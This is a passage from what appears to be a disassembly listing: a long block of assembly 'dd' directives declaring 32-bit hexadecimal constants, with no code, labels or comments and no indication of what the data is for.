		dd 279AAED5h, 68B6A385h, 41B2A55h, 0C3B45DB6h, 4B2ADF7Bh
		dd 383866E4h, 9A434D6Eh, 0FDB32BE1h, 0EAB54293h, 0A3D6B8A8h
		dd 0FADE7A45h, 8B58BCAh, 6CF3ABCDh, 5E9968D7h, 8B47719Dh
		dd 0DB760E36h, 0A3ABF16Ah, 220EE4CAh, 9E73A985h, 0BB8112A9h
		dd 0A61D3253h, 90FAF2D7h, 0C91A0B7Ah, 0BA6C2EFBh, 59F38B97h
		dd 0DAAE9F4Dh, 2D6D9DFh, 0B9447A06h, 0F4E6063Dh, 0C3B68242h
		dd 0F70AC8AFh, 0C7E6CC5Ah, 9868BB0Fh, 9979B942h, 5EC51954h
		dd 8576DABCh, 0C9C685B1h, 0C0D928D4h, 0C1922E2Bh, 4F1350D5h
		dd 59E34DDDh, 0F0FC7F1Fh, 5C0861F4h, 46716D1Fh,	31B8F53Fh
		dd 9AD19EC9h, 0B29DAB72h, 855B16ECh, 3F92B139h,	447682D0h
		dd 0F9BCBE81h, 752C1652h, 2FF43F09h, 9E08A579h,	27889E0Fh
		dd 83B8F0D1h, 7FB29A3Bh, 935F0C0Dh, 28A00F2Dh, 1425F314h
		dd 757D3D67h, 0ABAF9CA9h, 9C6E2857h, 6885CF05h,	744776A5h
		dd 7F76D7ACh, 0C17F7380h, 7A4126Ch, 0F4EC96E2h,	2C8B84BBh
		dd 8F31F548h, 14D28A13h, 9CADD5ABh, 5AC7608h, 0E51F1E23h
		dd 3ADA080Eh, 751B606Bh, 0ECCDD4FFh, 995F4ECEh,	0DCA66CB7h
		dd 0AECE1A01h, 831FB4A3h, 60C70956h, 71A7B573h,	0E9DD70E5h
		dd 8BF5BA6Eh, 0F45D2AF6h, 4FDDE747h, 2CA40366h,	5B4639AEh
		dd 0D9B5B8B5h, 1E137154h, 2A0EE31Ah, 0C3834945h, 2ECCEB9Ah
		dd 0ED64C082h, 4FBF767Ah, 33E6B758h, 0EBBF6E63h, 0B81AA596h
		dd 0DA3CF479h, 0CBAD8E65h, 28265F91h, 0CEDF4E94h, 0B5C257Ch
		dd 6B986B90h, 0DA46512Dh, 0DAAADBC9h, 0C8D1C84Ah, 163375F9h
		dd 0C42F7D48h, 0FF6CF471h, 5C4EF7E4h, 6D63676Dh, 0E9220448h
		dd 6D647505h, 75BF9B30h, 0AD23B1F9h, 0FDC1C17Fh, 88BB4655h
		dd 58102CA1h, 787C13DDh, 7F89F0CFh, 0D2BB0A49h,	0D0D0EDE6h
		dd 0BD33C124h, 7766A7AEh, 58375F06h, 3413D98Ah,	2DEC6315h
		dd 0F01EA1F2h, 88B2E1C3h, 24D80B63h, 8CF566A4h,	0FCBC6931h
		dd 64F83C55h, 0A55B3858h, 7FEC76BFh, 3F6B7DBCh,	0C87E627Dh
		dd 387FEDE3h, 0CAB80F9Dh, 0CB7CE835h, 6DADD0F5h, 5406A55h
		dd 380E87ABh, 53A0FD5Ah, 0BADEEB1Ah, 54DBAEE7h,	0C9ECA80h
		dd 0AC2A234Bh, 29470B82h, 3A4BB2ECh, 5014DA76h,	0E09ED2C4h
		dd 52119196h, 5DFFBD5Eh, 8C9C1510h, 609D461Fh, 77EA699Fh
		dd 0C72D35E5h, 0B707E5FAh, 35E2FF7Bh, 31CE9711h, 57B39E73h
		dd 0C24D878Ah, 2DE15FCCh, 6464E836h, 3D2A6816h,	0F207BFDBh
		dd 790C45F9h, 0FEB0FD3Ah, 5E67C0EFh, 0BABD8987h, 51C3CA81h
		dd 0CE89A060h, 7331651Fh, 8417C1D3h, 4ED0FE36h,	0AB651D9Dh
		dd 0B4464B2Fh, 0EBA4034Ch, 0B067FE76h, 6EB3CD73h, 0D15BF41Bh
		dd 0EC03260Ah, 607185B1h, 0C8FF7733h, 0DDDB05B2h, 1E2DC991h
		dd 3090260Ch, 0BC290759h, 77713FBBh, 0D1F36E0Fh, 0B8EF758Bh
		dd 5C2CF0Fh, 7BCD8B13h,	23B13FCEh, 79FB7045h, 236FF715h
		dd 7D7BAFE7h, 6BE97CECh, 5BEC17D1h, 0B85D4AACh,	18CBCCE5h
		dd 0BD96EC87h, 0CD233468h, 3865A677h, 0EB06F0F9h, 240DF8D3h
		dd 0D2FC759Bh, 0A0C87AFAh, 4DB4FBB6h, 229DA88Bh, 5107A158h
		dd 0BF82394Ah, 11DA64C5h, 9BB27079h, 956995A2h,	37ECAE4Eh
		dd 3EA80BBh, 306ED6E3h,	0D187C2E9h, 0BDCAD993h,	35B0D567h
		dd 0A3BBB54Dh, 6B79D642h, 0E5D5805Bh, 0D54B1349h, 0B9256561h
		dd 54A328FCh, 23137935h, 2C13B287h, 0FFEBB6ECh,	0A1A13917h
		dd 0C70EFC19h, 5607499Eh, 0FC96D97Ah, 0F1F3ED8Dh, 6AB1B9C3h
		dd 0E705D2E1h, 434B868Ah, 67812B2Dh, 9227D166h,	0E90BE07Ch
		dd 0BD30FB43h, 67589E92h, 1A08B897h, 1F2C228Ah,	74DD6AFEh
		dd 68BD001Dh, 0F4058989h, 78E96C77h, 0C837FB46h, 0DABCF293h
		dd 558FB53Dh, 50505ABEh, 3D3D23BEh, 0F96BD3E3h,	60250867h
		dd 814E7C27h, 726FF092h, 0B93A15F9h, 0F1D537F0h, 72EEFA17h
		dd 291A6456h, 348188DFh, 98F6BAC0h, 0AD40AAF7h,	51672EEDh
		dd 3ED65D3Dh, 74E81057h, 8AB444A8h, 0E35B8F5h, 601560E7h
		dd 643F7EACh, 0B6B5566Ch, 0FCE913EDh, 0BED01EC3h, 0D2EF7C60h
		dd 2EC70526h, 478241B6h, 8ABEA47Dh, 85F197C8h, 78F14733h
		dd 0A94DAC70h, 0EA1C2C09h, 0BC5F8254h, 455FAA0Eh, 47C02E57h
		dd 33390479h, 7E2A3AA4h, 6965B4A8h, 0F4A1030Bh,	0DD61294Ah
		dd 0E0F244F9h, 7117F51Bh, 0D0F671BFh, 97BA667Dh, 50EA2D04h
		dd 2588D6FAh, 819198A4h, 3651BB2Eh, 43BBD435h, 0E2E750F1h
		dd 9FDA95A1h, 0E6D60FD6h, 0E2FEB368h, 564F2E53h, 0F2E829DEh
		dd 5C905C2Fh, 0DAA2C6BAh, 0A4FB30EDh, 0A2D90B8Ah, 17F1AF62h
		dd 9142AFB5h, 0A44D406Dh, 0DD029DBBh, 0A0D52D18h, 9A7E83C6h
		dd 6A21D40Eh, 8E915C37h, 42713FAEh, 3BF7D193h, 0D31D9C1Fh
		dd 7FB2EEFCh, 0FE2948C2h, 0F0423635h, 238A9C28h, 6DA4281Bh
		dd 87E9C6BAh, 31677512h, 77B3257Dh, 88982A11h, 0AB5ADD59h
		dd 0ACDDA5DCh, 64E7AB52h, 0A099E5F9h, 0EB46D796h, 0EB84BD1Eh
		dd 2237E255h, 52FC2944h, 0F9F5B37Fh, 3E382FAh, 420F50BFh
		dd 0EC8DB3E2h, 49F1C0EEh, 0FA2768DDh, 4A3E6C4Dh, 22EEA068h
		dd 697B3CCCh, 0AD5F511Bh, 0FAEF7FEEh, 0F27AA8C5h, 0C4EBDE0Bh
		dd 4AEC5CACh, 0E2C852B2h, 70D2764Bh, 159AFB8h, 0DF3E2D60h
		dd 150ECC11h, 0A7252AEh, 12327C88h, 0CB545355h,	2B5FBF85h
		dd 731DEF71h, 0DCE3015Ah, 7969DBB5h, 1374C674h,	0E1D57B5Ah
		dd 0EF99AF88h, 0F66B97E8h, 0E1F34D02h, 64B62087h, 9939BC66h
		dd 3B55BF2Bh, 79E21770h, 84DB59h, 77551D1Fh, 4D6865F6h
		dd 4ADB7D8Eh, 0C0F4E5BEh, 0EDEA6196h, 0AC7EA5D7h, 0F3BF9B3h
		dd 743C387Eh, 52839851h
		dd 0C725C1ACh, 2CA8D819h, 74ABF5B9h, 0A76D644Eh, 71BD03C5h
		dd 16A37CDBh, 56E182D9h, 0BE0E4780h, 385CDAC2h,	8FE7A9CEh
		dd 5880347Ch, 4D33CAD1h, 86D3BAB2h, 0C02FF81Fh,	0A4D7E7A9h
		dd 837BA551h, 0E1FD9A63h, 0EAD57141h, 3453F837h, 0F9E6500Bh
		dd 0B4622BBBh, 53543CD5h, 164A6615h, 0C0FD98B8h, 4A8DB95Fh
		dd 3F01E577h, 3A9D18BFh, 0EAAA9695h, 2E2FC349h,	32D3AF50h
		dd 753899F7h, 4707BA84h, 0C69B535Bh, 38945AD8h,	57BD7914h
		dd 1F824462h, 7440F56Ah, 0D8EA2F98h, 661269FEh,	0E26815D8h
		dd 5DE69C2Ah, 0F83AE1F8h, 0CD14AB3Bh, 3506AFF9h, 7DF2CD67h
		dd 375F87E2h, 0D42EC644h, 4851AB68h, 8219A941h,	52D4CC0Fh
		dd 37423EFh, 7F4F019Ah,	0B395DC7Bh, 4D6FDE12h, 4A4E5DBAh
		dd 78B65FCFh, 0A3CFE618h, 903E07E3h, 546BD5BBh,	5D420ABDh
		dd 304C45B5h, 6AF18258h, 1F55D83Fh, 9F1F81BBh, 58505B60h
		dd 0E8DAE4AEh, 0E57E2715h, 265A12A0h, 6E92FC5Ch, 7EBCBDC7h
		dd 318E56E1h, 0CBF00F8Bh, 59878E69h, 78D1B37Ah,	2DFAE972h
		dd 0B06BE80Eh, 0F7F5F755h, 2DBBF6C6h, 0FF92B19Ah, 1EC8430Ah
		dd 0CEB09B1h, 4455DD15h, 2E0E688Dh, 4C680E0Fh, 76B7CB63h
		dd 47F366F3h, 8A5E348h,	728CB157h, 19846FB6h, 0BAF62613h
		dd 0DE9F8EA0h, 688AE2C6h, 0CF4BEF41h, 0EC3E93Ch, 33288E44h
		dd 6BB4428Ah, 97A98444h, 0F4EF970Ah, 5CE992E6h,	0C36C721Ch
		dd 76CE4A76h, 62B5F82h,	0EA9F6894h, 61A285DCh, 48C4A7Dh
		dd 6D9E1BA3h, 0FC351554h, 0A1ABDE5Ah, 0B03EBE73h, 8FF1AC46h
		dd 4E351874h, 8E43820Dh, 0B841FAA7h, 7DB1E5EBh,	944D4BF2h
		dd 0BBF7DF36h, 0AD653098h, 7FF3F1DFh, 0DE766653h, 0DB502371h
		dd 3B9BD8C7h, 670B6F1Bh, 5FCF7CABh, 0D4BCD99h, 5FCFDB02h
		dd 23E83199h, 6A64504Bh, 5E4C77BEh, 0FAF61417h,	1C733C5h
		dd 5F46AC98h, 9DF8625Dh, 0C63FFD84h, 0FF65174Ch, 0A11F8FE6h
		dd 25BC2BE0h, 46FDA4B6h, 8A441EABh, 13B67546h, 0E72A2138h
		dd 0CE71BC7h, 0D929ADDFh, 8AFE564Ch, 0D75C83BAh, 2C5896D2h
		dd 554E4128h, 0E1D17E1Bh, 964EC67Fh, 0D4098DF3h, 0CD80DBC5h
		dd 0BAE64BECh, 7DE1F7E0h, 5E3D7A8Ch, 4117F8DBh,	35730Dh
		dd 2A894504h, 964A14BFh, 0AAA970AEh, 289B7768h,	0AADD29C5h
		dd 0D0CEAE2h, 12E5524Dh, 0B5CA25B6h, 0F8628ADDh, 8E488486h
		dd 75ED9D6h, 63D3467h, 99FA5437h, 67C24F6Dh, 0F3AAF365h
		dd 7D2CA4F7h, 0FAD6E3EFh, 0AD8B4BF3h, 0E0598996h, 91DCD6D9h
		dd 63413B33h, 0CA97C65Dh, 0B89E31D7h, 204F9F7h,	0D51557B6h
		dd 6B6620C4h, 46BED245h, 53FB82F0h, 0A8F67C0Ah,	0F6891F98h
		dd 197F5E43h, 0EA8F58Bh, 7786029Eh, 5D9BDFB3h, 26D8D128h
		dd 22D6EFE4h, 0FDF85FE1h, 8B7F99D3h, 6C4C0E90h,	0A7A0B7B8h
		dd 0E2291700h, 3F239389h, 66989D77h, 0CBFD1D20h, 3F8CC224h
		dd 1970CB94h, 324ACCF0h, 0B98E2D9Ch, 373DA81Ch,	0EE56C186h
		dd 0C259BCE3h, 78FF0A9h, 0F055B8Fh, 48BE1E5Eh, 0F885DA8Ch
		dd 0ACA1303h, 9AEFE5ADh, 0ADAC4D6Dh, 9919BA74h,	0B818C15Fh
		dd 0C7B95889h, 50DB6564h, 6600DF46h, 0B012654Ch, 0E000F756h
		dd 0E79469BBh, 45374DB6h, 0DDAC5033h, 0CADB6232h, 0D88F2AD9h
		dd 30A4EC82h, 39AB8A9Dh, 76A91ED3h, 96C6EC91h, 5D2644D6h
		dd 0EDB385E9h, 84A2AC0Ch, 0B9AB99DAh, 0BDF508DCh, 0DC62E9AFh
		dd 0F1DA9802h, 0E4E9768h, 0E8AA9570h, 0CB94E29Ah, 2E22A5F9h
		dd 0D6420304h, 0B511D8C8h, 0E0EC8C07h, 0D9E991A2h, 0DA5F8137h
		dd 77CAC6EDh, 0DA01E956h, 0CDD84732h, 0A695B880h, 0A6DBD36Fh
		dd 0C9544619h, 0B44F4A16h, 4D324754h, 7E33174Dh, 56CF3D28h
		dd 63B7519Dh, 35F65023h, 0BAED1A06h, 3DBAD34Ah,	0B4A1D112h
		dd 745ACE4h, 0B55B1B4Fh, 0CC1425F8h, 0A381824Bh, 9BDFFDA3h
		dd 0D88FA84Eh, 4C4C29B9h, 46BFD5D2h, 0BA024E4Ah, 0EA9C7445h
		dd 0BB35BA1Bh, 3BB94972h, 650FE808h, 0D9B5CE26h, 0AA0C39ABh
		dd 0B35F3496h, 0F8EAEFF6h, 6E335EE1h, 297A62B7h, 4AC96E5Ah
		dd 0CB9EBB33h, 14BF3F13h, 0C8D7C49Eh, 73CE0A23h, 0AB1C43DDh
		dd 4A59C6C0h, 0DC51D16Fh, 4C6504B2h, 518AF5B0h,	0C3F1E66h
		dd 2BBD6D39h, 5DDFC5B1h, 381E94B4h, 8B7C4E51h, 0BF534641h
		dd 990279DEh, 0E5323211h, 6A42C38Fh, 812FD2FAh,	0FEEBAB61h
		dd 0C44F91AEh, 5F9F8B8h, 0FDEC963Ch, 0BF17F046h, 1C9923EDh
		dd 4B1DCAAEh, 631B1C0Fh, 0C73E719Ah, 0D6121DAFh, 46001E7Eh
		dd 0A16558A9h, 70D64962h, 6AA86F8Eh, 104647D1h,	0B8084475h
		dd 9BB1B9E2h, 79E4793Eh, 6ACEE372h, 0D1E1FB52h,	0FDD70D9Fh
		dd 30B9FEA8h, 6342D058h, 8DFD2EEBh, 0AAEDF4DCh,	1F835E86h
		dd 941CC7F2h, 0AF348AE1h, 6AA1889Ah, 0C7896F5Eh, 1D34278Ah
		dd 0F8F6077Ah, 2F2B9697h, 978DB636h, 0F06282A1h, 9DB9E7CBh
		dd 933D0770h, 8A935A8Eh, 27CABA53h, 933EF908h, 0D99F51F5h
		dd 0ECCBF05Eh, 65B505D3h, 0D8D2E23Ah, 77D98F1Bh, 6EBD17E3h
		dd 4AF7632Bh, 43B430E0h, 347DFB6Dh, 2E06278Ah, 5A235A46h
		dd 21F4F172h, 0D7D8BD65h, 745DEF6Ah, 0A6EB045h,	9B7C5AC7h
		dd 0B59F6D3Dh, 33C63ADEh, 0BEB4B3BBh, 0A557CA2Bh, 7611BB28h
		dd 86FB0B16h, 943EDB39h, 0EB26F1B9h, 0FBB81711h, 0CB07F8CAh
		dd 0BE5D1F46h, 0CBC9EA9Fh, 0A1B8C637h, 442D5D4Eh, 13269018h
		dd 205388EBh, 76A4E72Ch, 6049DF96h, 0B795DB87h,	1961A892h
		dd 244788F3h, 1B3F1ABDh, 552D0F29h, 52E69DFDh, 0BCBB8999h
		dd 0FCD57140h, 0D4146D2Ch, 9BD84108h, 6D696D32h, 0A4D7161Fh
		dd 8A92F4A8h, 0CDB13711h, 0DF62D190h, 7D697CD3h, 0CBE3DE11h
		dd 5ECB473Dh, 9E96949Ch, 0DED246C4h, 0D381CBEDh, 5BEC7575h
		dd 278D10B5h, 1AAC3AC6h, 3951C6EEh, 36F58ED3h, 910CCF7Eh
		dd 0FA9DC56h, 40785C46h, 0AB2C4C8Fh, 1013E03h, 93BFF185h
		dd 0BADE7E0Ah, 0C4C16FE1h, 0E081D35h, 4732680Ah, 5C1CBE83h
		dd 0F2559C68h, 97887281h, 232E5BB3h, 2BD08C8Ch,	0C196B73Ch
		dd 5537F361h, 0E6E17F14h, 0F67DF1BAh, 8D7EED92h, 44EA2B36h
		dd 0D06D9DAAh, 6C144990h, 84A698B9h, 0B2307175h, 12F7E771h
		dd 0F20F256Ah, 0ECF0E08Fh, 564676C9h, 0DC50CE2Eh, 291AEF90h
		dd 0E7F6B258h, 96BCA900h, 0CDC6577Ch, 0A58C0C51h, 4ABC7BC1h
		dd 3650DA24h, 4D92E3A6h, 0DB0EEFDEh, 5A307DEFh,	9F8D7049h
		dd 0C0FD160Ah, 1876B7B6h, 90FEFB1Bh, 0FC2FB58Fh, 0CA62478Bh
		dd 0B70EE796h, 717FEA4Ch, 87FE72C7h, 4D38A4A1h,	923FB3B8h
		dd 154A2C54h, 0C1AA7C3Fh, 9DCEB4BBh, 880C40D7h,	1CBB1C8Ah
		dd 7F61FA9Dh, 15783F86h, 0ADE2CA82h, 0C7079EBFh, 8F0227FBh
		dd 53677EABh, 266F5803h, 21EC4AF1h, 632FDEE5h, 1FEBAEC7h
		dd 8E80CE82h, 75DD5E8h,	0E9E6CA39h, 2F965579h, 0B447D06Ch
		dd 6BDA67EAh, 0DE9AFC32h, 342AC071h, 0ACB1D297h, 7F19679Bh
		dd 16A74651h, 0C8069D83h, 6EF9776Bh, 25A70FFFh,	0F94A1ED4h
		dd 6AAFB21Ch, 0C152495h, 734B0785h, 140BDB69h, 0A69A6774h
		dd 0AB907C10h, 0F68A8E36h, 0E7D96E35h, 0DEFDF163h, 7C96453Fh
		dd 0CB094C2Eh, 212BF7EAh, 91EC4EDDh, 837C3B5Bh,	5A373E36h
		dd 299C9E13h, 0B3C82FCEh, 65FE1A3Eh, 449AF99Dh,	579288B6h
		dd 0DC1A5D3Fh, 0A302FD40h, 0CAE6270Dh, 2F5BA3CEh, 47EBD88Fh
		dd 43F48F09h, 0DE6F18A8h, 47958DFAh, 95C4A7F9h,	6E573118h
		dd 0C7D98E8Ah, 6935F355h
		dd 0DB6B5A58h, 0CF830C95h, 554DA5A3h, 0B4BCA87Ch, 993698C2h
		dd 3D725B18h, 5C534479h, 55D2FEEDh, 5F4ADFA5h, 95C1C462h
		dd 865D561Fh, 3B3FF12Ah, 19DD9EFBh, 0A115458Dh,	90299A1Bh
		dd 0BFB175C5h, 2B95D9CAh, 3309BF4Dh, 3CC71B45h,	0A7EFB684h
		dd 82319D2Eh, 73E9ECBEh, 15F4F9D6h, 0F6C22AC3h,	8D6D812Bh
		dd 0B4B49DCCh, 8E0175B1h, 7DA45F77h, 50550D83h,	7EDFA4E5h
		dd 0B8642F04h, 0D693CE6Ch, 0C35A3787h, 0DC2A9A45h, 7E22CD3Eh
		dd 4C1CD998h, 44A7EAA8h, 16BC1F54h, 1C173573h, 81ADBF18h
		dd 9764EAAFh, 60E514B8h, 2BB508E0h, 558A9D6Dh, 3F75C2DEh
		dd 87F3B2EFh, 0C055C0BDh, 7CD787D8h, 48DC92EAh,	0FDA6EDADh
		dd 4EA3DD3Bh, 0CAECA7AAh, 1C6C3235h, 0BEE4DF0Dh, 0FAAE16E4h
		dd 0A0D8F540h, 8BCF83E5h, 915286AEh, 0D4858982h, 0C518584Eh
		dd 3366149Fh, 67258F28h, 0AAB8419Ah, 9BE31BCDh,	0FF6E7725h
		dd 2627BBB3h, 0FA5A0A35h, 49A37D3Bh, 5E03B54h, 9E2CCBFDh
		dd 2C74BBCDh, 0EE83A34Bh, 0D5A6A6D1h, 3F0FDAE7h, 2FEA8709h
		dd 0F2FECB34h, 0CACCBE5Dh, 7B1A92F1h, 0A4786B84h, 53CF7E5Ch
		dd 25D6D1F5h, 2C9B26B2h, 2FC37748h, 3BF51928h, 36BBD548h
		dd 3336D72Ah, 0FB99E60Dh, 741B736Fh, 0C001817Eh, 0F1F083D1h
		dd 0F3618587h, 0FEFBFE97h, 0BAD1F375h, 245B48C4h, 0A7C73090h
		dd 972FF673h, 0D165BADEh, 43505B9Dh, 9C154915h,	9031929Dh
		dd 6AA89E95h, 6228564Dh, 5145311Ch, 0F5FBBFBCh,	0F95FEDAEh
		dd 1AA2E17Dh, 18D405AEh, 5019D37Dh, 0E359B8BAh,	44C4E2ADh
		dd 0A0FE9521h, 0E59A91E3h, 0B4EB37C1h, 62396BB6h, 85D45DACh
		dd 5DC1F077h, 968F37D2h, 0FFF8C53Bh, 0B5D3249Eh, 633727Bh
		dd 0E41A7C0Fh, 3CDC419Ah, 0C230135h, 6C81B540h,	0EBDFF70Dh
		dd 2573A6CCh, 0E10F1A61h, 4C9D7E55h, 0BDDD197Ah, 8243C161h
		dd 726C4AD3h, 0BEE36E6Ah, 6D92F57Dh, 86234FBAh,	510FB8D8h
		dd 0EDD4EB7Ah, 0AA033F45h, 0D5BA76F7h, 0D2E5C910h, 530F290Dh
		dd 1422353Ah, 0C6C3C6F2h, 5A8DD3FDh, 17EBEEF2h,	607D7F53h
		dd 0EC6195F3h, 23D91041h, 7994F03Ch, 38669975h,	0B6503327h
		dd 7BD55DBFh, 8FAF4483h, 7B8D5E64h, 0EABC1D54h,	4CA23746h
		dd 0BCD27518h, 0CCE737B3h, 0F9F1F926h, 0DBE02485h, 96BA7B47h
		dd 0A220F8C8h, 3AE38695h, 2DB1ECE8h, 0F19BCA9Bh, 0D7FD9243h
		dd 83596DA0h, 0FF1BF280h, 8B0DF1C8h, 0BA95FDB6h, 0D3E08295h
		dd 387E114Ch, 0B2FA7C13h, 0A540644Bh, 0DC1546F9h, 843E26CAh
		dd 8CC16E48h, 8EA42029h, 37CFCF78h, 532C0092h, 371D79B4h
		dd 21B40FAFh, 38D38AFAh, 683F6C5Fh, 2AB6A0FCh, 65D4BBABh
		dd 86DC2E74h, 0C489444Dh, 0A8C4DB1Eh, 0C59F4C76h, 0DD3B971Dh
		dd 308AC4A8h, 0CFE6324Dh, 15F7C4FAh, 94A22A8Bh,	0C14552D0h
		dd 855FD70Fh, 771C2A4Fh, 3EC92E44h, 0EACE4F25h,	0CBAF6BB1h
		dd 2A0B9F75h, 0C47B4BCFh, 0B4F694B6h, 0A473968h, 0E69F3FCAh
		dd 0F8CBA0B7h, 2C4F9A2Fh, 0AAA891AFh, 26CD5A1Ah, 2DA54893h
		dd 61B9509Fh, 8E3BC279h, 0EFF364D9h, 0C5BE1E5Bh, 2F4A0F02h
		dd 801F21D7h, 309E5DF9h, 4B7DEC1Dh, 49EC8651h, 0D72B2E88h
		dd 75DA1599h, 0C370D81Fh, 876F27D0h, 0AE9378D1h, 0F123F8A3h
		dd 0A059C92Ah, 2B5A7DB0h, 0E0924F7Eh, 17AEE3A9h, 794C07CCh
		dd 2D9C5C07h, 126C9A91h, 35BF5EE5h, 21D1AB90h, 5945B65Ah
		dd 0F076DF2Dh, 0FF0850B6h, 62AFBA22h, 2B0416DFh, 0A5584507h
		dd 3FB41A1Ah, 0B468AD4Ch, 53571072h, 3D517E3Eh,	0F4726866h
		dd 0B57A3F89h, 96FB7B54h, 4B75F147h, 9BA3B01h, 83EE3853h
		dd 8EA168Dh, 61B95A29h,	796987E7h, 0E43BC639h, 0A91A94CDh
		dd 28BF3014h, 36291D4Dh, 4DB11E17h, 0E5C17D75h,	3C8834FDh
		dd 0B4861B8h, 0ED22626h, 3F11B633h, 67085E9Ch, 0DCA8AD7Eh
		dd 3CC49F2Dh, 0AE666D0Eh, 228D1738h, 0BBCDAD4Bh, 3D989280h
		dd 0EDC5BA33h, 130A4D26h, 21CE7945h, 0BD568ACFh, 1EEF9878h
		dd 463D8B77h, 8D85157Bh, 5373BFEAh, 10968DB2h, 24D9E6F0h
		dd 0B25F5A76h, 694B7E2Ah, 0C615E337h, 69348A97h, 0EB257C9h
		dd 0A50FD81Fh, 5035BD3Fh, 2DBCB5ECh, 290F6B04h,	0C427E68h
		dd 0AB6D4DF2h, 0D03C5188h, 5FB2D2D9h, 5EABBEC6h, 0C2117DA9h
		dd 0EA0998Bh, 73635373h, 48EE8AAFh, 3ABBF0E1h, 4B65B6E9h
		dd 976978D8h, 0A416FA55h, 47F15158h, 3664C57Eh,	68725D92h
		dd 0A66A60A5h, 0A7BED816h, 9DC6934Ch, 3E6018BFh, 474D3FE3h
		dd 6C30E9BAh, 9D7B1EEBh, 7B083C29h, 0AC70E1CEh,	390A455Ah
		dd 78423B3Ch, 0CFBFB799h, 54C3B73Eh, 0FACC1EFEh, 0E7B04FA9h
		dd 0A22E70D7h, 7F1233E2h, 1695E71Bh, 5F38C2AEh,	4D815DDBh
		dd 93A1332Dh, 54A8A3D3h, 8A4FED74h, 4649AA27h, 0CADDC877h
		dd 0C2C2BFDFh, 0D265AD1h, 0D7457225h, 0AE47D8FCh, 0BBB049AAh
		dd 3149CE7Fh, 7A059844h, 0E15C96ECh, 0B334074Ah, 51408AD9h
		dd 0FEDD7295h, 943ABEF7h, 3AFE4422h, 0C44124ABh, 0CDA30D38h
		dd 0A52EDECBh, 5C2F0975h, 0FADDF4E8h, 391C19E7h, 3A7A3FB8h
		dd 0AE6789BAh, 5AA5EB68h, 677094B7h, 0F32E5905h, 33934808h
		dd 4B55D3F6h, 0F66A2C61h, 7A33F12h, 419A0875h, 952D2D5Fh
		dd 98FAEAE5h, 458B22B3h, 45C7DE57h, 0F80B30B3h,	409E7D34h
		dd 17411629h, 0DDCFB7E4h, 0C62DBABEh, 0AD854A1Ah, 0F93F967Ah
		dd 13C5645Ah, 0B6346CA9h, 5434DD5Dh, 3110C2B4h,	95954478h
		dd 0B0F3276Eh, 0CBC079A1h, 1D590528h, 270D969Fh, 50E5B455h
		dd 0F3EA0636h, 0C406F03h, 0A7EADBE1h, 5EFE1C38h, 4376EBC0h
		dd 0FD10DBE3h, 8AD89E0Ah, 0C3808AB2h, 0FD8FCE44h, 252FD475h
		dd 8365B889h, 70FE0CBAh, 0F1ABCC5h, 0C73EFD5Ch,	44664339h
		dd 0E69588C3h, 80E84A5Dh, 0D672A4B6h, 2EFE67Ch,	428E0FAFh
		dd 8AB3D879h, 5BE53AA4h, 65A1891Ah, 76DA30FCh, 0CF03CF8Ah
		dd 0C3786F44h, 9CFAC7C9h, 97DF2C64h, 244B9DBAh,	6E79030Ch
		dd 3059CABAh, 0B599C17Dh, 0C022D20Ah, 6C2EEDD6h, 97B5381Dh
		dd 61DC8D51h, 0BC7A6F83h, 0E6C76FE1h, 0EA9935DAh, 9F9CC4F1h
		dd 31C1B31Eh, 0CF307CC4h, 4F213479h, 6713B308h,	8BF0A752h
		dd 0E310D0EFh, 807B61F1h, 5894B741h, 0EAEBAC95h, 4155B1D1h
		dd 0F0B91D66h, 0FF3C04D1h, 0E5C16CE2h, 0D9CAB627h, 58B4E446h
		dd 77723BF0h, 8E59857Ch, 0EAD677CDh, 0F8C95E54h, 0C7C079Dh
		dd 351E5F35h, 0FEFB915Bh, 0BC39028Dh, 5DD87B59h, 74BE1D7Ch
		dd 4F8E3120h, 0B4560E8Dh, 0EC489125h, 0FB91242Eh, 0B9B565B4h
		dd 54E556B9h, 0CACDD148h, 333B504Ch, 0CC4BC92Fh, 472BC937h
		dd 0A7EB5506h, 0BFB07825h, 0DF02BABh, 40322176h, 0B1D429F5h
		dd 81986402h, 0A4DD25D8h, 40DD9043h, 23006754h,	58AD1984h
		dd 13A3CA4Fh, 86A97E34h, 8E6890B7h, 0C9F9783Ch,	184D130h
		dd 483268C2h, 67CA0EF7h, 6315D5F3h, 0D18BB288h,	226A1B42h
		dd 1A16C8FDh, 0CE2BC8A1h, 0F8870925h, 4C98022Fh, 0F67418F2h
		dd 5F55E94Bh, 0B221464Ah, 0AE822DD4h, 0B430EC9Dh, 9A9A855Ch
		dd 16F1F53Eh, 0C3AE8E43h, 5B15CB2Ah, 0F70A3C6Bh, 0D7F10E61h
		dd 0E1215501h, 9FC287h,	0A4B40AA5h, 0AAE2472Fh,	2C0F7D48h
		dd 0A1A94699h, 82B5AA6Dh, 6454DBC7h, 0AAF354E9h, 0FA36F563h
		dd 0C0C274DCh, 0AB3AE219h, 0A4D271AAh, 0EA1B1421h, 74399B68h
		dd 0D514C6D6h, 0D6D5D7F4h, 8CDD252Bh, 0A2B3ED15h, 8AFD2E10h
		dd 32BF60B0h, 0AF91C7E8h
		dd 0DD33C90Ah, 6750E21Bh, 7957987Fh, 0BCA58B13h, 9EEBBBE8h
		dd 31291F89h, 607B4CFCh, 65446EC8h, 0D6EFBCDDh,	0D174CCCDh
		dd 6541CE74h, 0E6EC15E5h, 1048B757h, 0DFADA96Bh, 1085CD38h
		dd 44235863h, 69B3721Bh, 0D0FE90B1h, 0BEEAE612h, 0B95DFF0h
		dd 16358DA3h, 9DB8BDE9h, 0C8126967h, 0FC6FAA81h, 0E8483390h
		dd 19961EF4h, 0AB36B2BBh, 55CF57FAh, 3FC1C91Ah,	14E13F95h
		dd 3D7E5781h, 0C9C75632h, 17E05A87h, 0F69BA2F8h, 0CF618EF9h
		dd 0A31AA24Dh, 9E529BE2h, 3F0D9839h, 1A5329DCh,	0B63A7B5Eh
		dd 8CDBFDF3h, 0FD1AF5D4h, 89119DB9h, 0E2FF0CEAh, 6BBB73F8h
		dd 0C35F5C1Eh, 2E367BCDh, 73E7C611h, 0A95A17D2h, 527CCD56h
		dd 1B4625B0h, 4F119531h, 0E472CE3Fh, 93EE9D78h,	13271E77h
		dd 931F542Eh, 0E3C5CC73h, 893DB5E9h, 215C2A76h,	648DC6F5h
		dd 6C4852Eh, 0C3E8A2FAh, 0D44A162h, 6922194Ch, 62256638h
		dd 0A65D888Eh, 0E3CE768Ch, 0A3A78B36h, 0B4F0D70Ah, 340F0287h
		dd 0C2D7BEDh, 98973DB0h, 0F07147A7h, 0DA4A4EB0h, 750F2ECFh
